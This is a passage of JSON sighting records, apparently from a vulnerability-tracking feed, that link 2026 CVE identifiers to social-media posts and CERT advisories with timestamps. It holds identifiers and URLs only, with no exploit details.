"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2025", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg7sgtnftk2n", "content": "", "creation_timestamp": "2026-03-04T07:52:23.119366Z"}, {"uuid": "a265405a-0480-4fd6-bd90-e2c0af35662c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20098", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3me7k4z3ewu23", "content": "", "creation_timestamp": "2026-02-06T18:33:19.911811Z"}, {"uuid": "a4f38985-0a62-40c3-bd05-758b24ff4873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20610", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meodv6xbit2a", "content": "", "creation_timestamp": "2026-02-12T15:51:31.388150Z"}, {"uuid": "00030025-b825-4a57-a052-41b770f67b25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20652", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meqbladi3q2h", "content": "", "creation_timestamp": "2026-02-13T10:15:29.330647Z"}, {"uuid": "32a2fb9d-1293-4e21-96a8-d4f1d87209e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20024", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgb36nesvn2u", "content": "", "creation_timestamp": "2026-03-04T20:01:31.261133Z"}, {"uuid": "53232e37-fbb1-432c-96b2-ebea1575fa4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mfpikpurmdi2", "content": "", "creation_timestamp": "2026-02-25T20:13:08.824995Z"}, {"uuid": "eb6c3b34-a2f0-4052-bd5e-697c2a559f7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/apple-security-advisory-av26-122", "content": "", "creation_timestamp": "2026-02-11T20:40:51.000000Z"}, {"uuid": "415aa1e0-e739-4bd1-bbce-e0b5c1d2176a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20021", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgb3hb57ct2n", "content": "", "creation_timestamp": "2026-03-04T20:06:20.219236Z"}, {"uuid": "acfa0599-59ec-403a-986a-b1d36cb85c50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mfa4q7z7wz2m", "content": "", "creation_timestamp": "2026-02-19T17:31:23.522733Z"}, {"uuid": "5abfb87c-7f0a-49d8-95a9-bf937a2eb1ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/co11ateral.bsky.social/post/3mfepziijds2s", "content": "", "creation_timestamp": "2026-02-21T13:27:50.045204Z"}, {"uuid": "d28d726e-8f99-4948-9449-e0645782d3af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20846", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0053", "content": "", "creation_timestamp": "2026-02-10T18:01:45.000000Z"}, {"uuid": "0852d9a6-81e9-4d07-b35b-046a4c44012a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mfubvhpgtm2l", "content": "", "creation_timestamp": "2026-02-27T17:57:03.589178Z"}, {"uuid": "df2f9255-b81f-4f0e-ab42-84b016f49b57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20841", "type": "seen", "source": "https://bsky.app/profile/jacensekai.bsky.social/post/3memmbdpsdr2m", "content": "", "creation_timestamp": "2026-02-11T23:16:09.782069Z"}, {"uuid": "96900110-4678-4100-a222-16a28e1bb024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mfud4ndxih2o", "content": "", "creation_timestamp": "2026-02-27T18:18:57.338107Z"}, {"uuid": "f14689f8-b44d-447d-b6fa-d637d56e9c35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20020", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgb3rl6hnr27", "content": "", "creation_timestamp": "2026-03-04T20:12:06.435743Z"}, {"uuid": "431756f1-83f6-4000-86a1-5c7128a41c7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mg4pvaxwfa2w", "content": "", "creation_timestamp": "2026-03-03T02:28:46.367046Z"}, {"uuid": "43293986-61bd-4242-ab84-c0198c609be5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20700", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3memor2cawb2h", "content": "", "creation_timestamp": "2026-02-12T00:00:44.421358Z"}, {"uuid": "d23c5ecf-3f2c-4a02-adc3-0dd3e9c45a87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20764", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfsuypcggv2d", "content": "", "creation_timestamp": "2026-02-27T04:33:33.649034Z"}, {"uuid": "8f87f951-91f0-4394-8757-db186e98c379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20700", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116054716674507278", "content": "", "creation_timestamp": "2026-02-12T00:00:58.895046Z"}, {"uuid": "11ce5064-77bd-4620-be9b-7c414623e5b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20025", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgb46b643j2v", "content": "", "creation_timestamp": "2026-03-04T20:19:12.417378Z"}, {"uuid": "373cd150-0f32-4d74-b245-0f12afcc376c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116103162517327395", "content": "", "creation_timestamp": "2026-02-20T13:21:13.680330Z"}, {"uuid": "d0eddd0f-9eed-44db-8791-ceffc4cd180e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pwrdbyrog.bsky.social/post/3mfz63wfewk2t", "content": "", "creation_timestamp": "2026-03-01T16:32:28.634657Z"}, {"uuid": "b8b2c1d5-7389-4203-aaed-81f9bdd8b848", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20064", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgb4fwrcd32u", "content": "", "creation_timestamp": "2026-03-04T20:23:29.608390Z"}, {"uuid": "90a51d7b-1585-41c1-a0c2-b2f04947b88d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/hjmscs4.bsky.social/post/3meol2m7sjc2u", "content": "", "creation_timestamp": "2026-02-12T17:59:49.837220Z"}, {"uuid": "c541de48-a69d-48cf-8627-98d288406a5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/fi-uutiset.bsky.social/post/3meol3ukk3p2n", "content": "", "creation_timestamp": "2026-02-12T18:00:31.666314Z"}, {"uuid": "481d7075-28e8-4d4f-9cf4-e20317747fb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20022", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgb4ov7qie2n", "content": "", "creation_timestamp": "2026-03-04T20:28:30.119462Z"}, {"uuid": "107c4688-e42e-45ad-8bd3-88e4b7f6ba24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/alphaoftech.bsky.social/post/3mempfvfclb2b", "content": "", "creation_timestamp": "2026-02-12T00:12:23.420348Z"}, {"uuid": "7debf0ad-1735-4cb3-9cd6-0ec859a5b3b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20700", "type": "seen", "source": "https://bsky.app/profile/smhn.bsky.social/post/3mfcb4gglgz2c", "content": "", "creation_timestamp": "2026-02-20T13:55:07.652567Z"}, {"uuid": "6e4d3ff2-ddee-4dde-8aee-e63ebf04acc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20983", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me5jnlswh62h", "content": "", "creation_timestamp": "2026-02-05T23:19:23.843950Z"}, {"uuid": "7497bb0e-a85a-447d-8da2-ffe419dc4138", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3meolow6fpt2l", "content": "", "creation_timestamp": "2026-02-12T18:11:10.540882Z"}, {"uuid": "1799a8de-0325-480e-bf72-607683cd263f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20979", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me5jnsgqra2m", "content": "", "creation_timestamp": "2026-02-05T23:19:30.755438Z"}, {"uuid": "122a0f0d-8d19-41bf-a616-8f8300f4f581", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20140", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mfew2hlsmk2f", "content": "", "creation_timestamp": "2026-02-21T15:15:09.459601Z"}, {"uuid": "a58aaa1b-0577-4dd0-b532-869cbf2c9861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/hot.hn/post/3mel7zquhlf2j", "content": "", "creation_timestamp": "2026-02-11T10:04:30.289347Z"}, {"uuid": "a4d8389d-d91b-4de7-a143-d0a605e463b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/newsyc750.bsky.social/post/3memrsuwsum2g", "content": "", "creation_timestamp": "2026-02-12T00:55:26.570233Z"}, {"uuid": "8f7dc249-f8f5-4cb4-b24f-bb3c117abdf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20140", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mfewnwdnx42s", "content": "", "creation_timestamp": "2026-02-21T15:26:03.012743Z"}, {"uuid": "94e5484f-fca8-4004-afc5-6038f23dd7e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/i2develop.bsky.social/post/3mg66j2gq4z2h", "content": "", "creation_timestamp": "2026-03-03T16:23:06.646971Z"}, {"uuid": "021cf9c4-5814-4f00-89f6-9f0dd572be0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2004", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mgf4uzhnv227", "content": "", "creation_timestamp": "2026-03-06T10:42:37.852130Z"}, {"uuid": "7a9600ec-a01e-4ae8-adfa-cc0344b1e3bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20983", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me5jokezgc23", "content": "", "creation_timestamp": "2026-02-05T23:19:56.320060Z"}, {"uuid": "243f571a-9797-4e8e-8314-43ee2cdcc9b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/leyrer.bsky.social/post/3melald2wbk25", "content": "", "creation_timestamp": "2026-02-11T10:14:21.265050Z"}, {"uuid": "df01ec45-1f40-436f-9e18-8a1ba993450b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2049", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mfez7paodc26", "content": "", "creation_timestamp": "2026-02-21T16:11:52.376545Z"}, {"uuid": "43d8acd6-d2e6-42c1-8beb-634af011ba8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20777", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg66m4gwp227", "content": "", "creation_timestamp": "2026-03-03T16:24:45.264594Z"}, {"uuid": "5eb37933-9455-4284-8782-90e194463c98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mgf4uzhnv227", "content": "", "creation_timestamp": "2026-03-06T10:42:37.939978Z"}, {"uuid": "6ff2cb4a-92fc-4140-9fa5-6fc638dc887c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20979", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me5joqifel2v", "content": "", "creation_timestamp": "2026-02-05T23:20:01.976870Z"}, {"uuid": "d884784f-8607-4023-be2d-9c9ce03424e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2050", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mfez7paodc26", "content": "", "creation_timestamp": "2026-02-21T16:11:52.483464Z"}, {"uuid": "2dbf66cb-5541-45b3-9a2c-6a2ebf8d2064", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20029", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mfpldaa6yt2w", "content": "", "creation_timestamp": "2026-02-25T21:02:32.703542Z"}, {"uuid": "81c53e22-8f8a-4e7a-9a21-a414a1ddb097", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20016", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgb5jqlddb2n", "content": "", "creation_timestamp": "2026-03-04T20:43:31.161859Z"}, {"uuid": "836bfab7-2a4e-4cd2-afeb-5a6c11dfc869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mgf4uzhnv227", "content": "", "creation_timestamp": "2026-03-06T10:42:38.022375Z"}, {"uuid": "4968798e-b886-4c63-8306-b936cc4db766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20420", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdvysxumd42m", "content": "", "creation_timestamp": "2026-02-02T23:29:33.183141Z"}, {"uuid": "b527e79a-2980-4dca-bcd9-30157340b72a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mfpldacvwy2i", "content": "", "creation_timestamp": "2026-02-25T21:02:33.224210Z"}, {"uuid": "de9a6424-6014-4bf6-9586-56e4d89d0671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20421", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdvyt3o4rw27", "content": "", "creation_timestamp": "2026-02-02T23:29:36.947672Z"}, {"uuid": "6d1baa8c-a3dc-4499-9f2a-fd81fe21b501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mff2cdbxji2z", "content": "", "creation_timestamp": "2026-02-21T16:31:09.071238Z"}, {"uuid": "141aaf50-917e-4018-a6e9-00ed12c25be5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20422", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdvytc2crh22", "content": "", "creation_timestamp": "2026-02-02T23:29:43.006147Z"}, {"uuid": "901ce441-0a8e-43d8-9b76-383a129433f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20700", "type": "seen", "source": "https://infosec.exchange/users/defendopsdiaries/statuses/116055031171521723", "content": "", "creation_timestamp": "2026-02-12T01:20:50.616611Z"}, {"uuid": "7845a195-13f6-4da0-bb87-9fbff564ddb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20404", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdvytiqzay2x", "content": "", "creation_timestamp": "2026-02-02T23:29:49.783326Z"}, {"uuid": "63237640-ffd4-4104-8022-1eaa7308fe0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20614", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116055069837415237", "content": "", "creation_timestamp": "2026-02-12T01:30:32.187515Z"}, {"uuid": "7bc3b41c-088f-43e9-962c-44f8418108ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20614", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3memtrnln4o2v", "content": "", "creation_timestamp": "2026-02-12T01:30:33.474824Z"}, {"uuid": "4032039c-a682-4c1c-9e9c-e9bf842721c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20801", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg4urhh6pn2d", "content": "", "creation_timestamp": "2026-03-03T03:56:07.422218Z"}, {"uuid": "e27838d3-cb8b-443c-bfca-4c2c4fa2149d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20420", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdvyttp3z722", "content": "", "creation_timestamp": "2026-02-02T23:30:01.346637Z"}, {"uuid": "f726cf57-ff81-4fb4-af98-4e20480cc99e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/116059164707686851", "content": "", "creation_timestamp": "2026-02-12T18:52:04.617556Z"}, {"uuid": "9842d4ba-d1d0-4426-ad73-6f68ad338c38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20421", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdvyu2rucb2a", "content": "", "creation_timestamp": "2026-02-02T23:30:08.577093Z"}, {"uuid": "8ab1eeda-8176-47b7-9f6a-65daad653da8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/cesnet-certs.mastodonczech.cz.ap.brid.gy/post/3mfaamr62tjc2", "content": "", "creation_timestamp": "2026-02-19T18:41:09.193129Z"}, {"uuid": "19aa6baa-1bec-405f-8f66-f853a56ebd86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mfsx7znman23", "content": "", "creation_timestamp": "2026-02-27T05:13:26.363548Z"}, {"uuid": "fe1218b0-e076-4060-af88-7ac4210b012f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20841", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mg4uysbsis2m", "content": "", "creation_timestamp": "2026-03-03T04:00:13.767982Z"}, {"uuid": "432d7154-7aa3-4da1-aeb4-fd5c06535a36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20405", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdw24cxzjz2h", "content": "", "creation_timestamp": "2026-02-02T23:52:39.461780Z"}, {"uuid": "258126ad-7657-4ec0-8120-f693c4283a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20422", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdw24okykh27", "content": "", "creation_timestamp": "2026-02-02T23:52:51.583516Z"}, {"uuid": "a5136207-1901-4fcb-9495-6e71a713fa4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/aaaaou.bsky.social/post/3melamuszk22s", "content": "", "creation_timestamp": "2026-02-11T10:15:10.378409Z"}, {"uuid": "24ea8a8d-e6c9-4a1d-8929-cce0bf1b6c12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20404", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdw24vyjnq2v", "content": "", "creation_timestamp": "2026-02-02T23:52:59.490315Z"}, {"uuid": "26086e6b-299c-4385-b910-2fcdc944f7c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20405", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdw255aha32a", "content": "", "creation_timestamp": "2026-02-02T23:53:07.016957Z"}, {"uuid": "6a127723-252a-440a-8e34-15c2d13f6e16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mfzogd43ab2k", "content": "", "creation_timestamp": "2026-03-01T21:24:32.529393Z"}, {"uuid": "1eb8c6c0-6ed2-4786-8298-ca9d9283fdfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2096", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meige2n54a23", "content": "", "creation_timestamp": "2026-02-10T07:19:39.312617Z"}, {"uuid": "996fb5af-20cd-4365-b3ba-d88463e0b406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2093", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meigeawdvf2v", "content": "", "creation_timestamp": "2026-02-10T07:19:45.647638Z"}, {"uuid": "9b550630-7082-4ec5-ad6c-066fdad32466", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mf6kc7koyf2j", "content": "", "creation_timestamp": "2026-02-19T02:28:46.316608Z"}, {"uuid": "1bc20ec3-b515-47f0-b838-004ec8690432", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/techdna.bsky.social/post/3mfcfvd7pwl23", "content": "", "creation_timestamp": "2026-02-20T15:20:37.819993Z"}, {"uuid": "85904fc2-84ff-4d79-9741-a3953984d8ee", "vulnerability_lookup_origin": 